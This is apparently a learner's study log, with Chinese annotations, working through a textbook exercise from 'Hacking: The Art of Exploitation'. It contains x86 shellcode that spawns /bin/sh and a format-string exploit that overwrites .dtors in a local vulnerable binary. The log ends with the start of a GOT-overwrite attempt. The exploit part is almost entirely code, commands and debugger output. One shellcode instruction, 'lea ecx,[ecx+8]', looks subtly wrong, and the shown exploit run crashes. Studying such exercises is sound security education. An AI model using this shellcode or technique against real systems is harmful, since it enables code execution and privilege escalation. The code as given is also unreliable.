衍生shell shellcode
<Hacking-The art of exploitation>
==========================
exploit@exploit:~ $ more exec_shell.s
BITS 32
jmp short one
two:
pop ebx
xor eax,eax
mov [ebx+7],al
mov [ebx+8],ebx
lea ecx,[ecx+8]
mov [ebx+12],eax
lea edx,[ebx+12]
mov al,11
int 0x80
one:
call two
db '/bin/shXAAAABBBB'
***********************************
利用'bin/shXAAAABBBB'字符串,还有call的特性
**********************************

************************************
exploit@exploit:~ $ nasm exec_shell.s
exploit@exploit:~ $ export SHELLCODE=$(cat exec_shell)
exploit@exploit:~ $ ./getenvaddr SHELLCODE ./fmt
SHELLCODE will be at 0xbffffc20
exploit@exploit:~ $ objdump -s -j .dtors ./fmt
./fmt: file format elf32-i386
Contents of section .dtors:
8049648 ffffffff 00000000 ........
【即把地址0xbffffc20写入0x08049648+4中】
---------------------------------------------
写入策略
0x0804964c 0xfc20
0x0804964e 0xbfff
---------------------------------------------
exploit@exploit:~ $ gdb -q
(gdb) p 0xbfff-8
$2 = 49143
(gdb) p 0xfc20-0xbfff
$3 = 15393
(gdb) q
exploit@exploit:~ $./fmt $'\x4e\x96\x04\x08\x4c\x96\x04\x08'%49143x%8\$hn%15393x%9\$hn
...
Segmentation fault <----------??????
===
那尝试一下写SLOT的方法:
====
exploit@exploit:~ $ objdump -R ./fmt
./fmt: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049670 R_386_GLOB_DAT __gmon_start__
08049660 R_386_JUMP_SLOT __libc_start_main
08049664 R_386_JUMP_SLOT printf
08049668 R_386_JUMP_SLOT exit
0804966c R_386_JUMP_SLOT strcpy
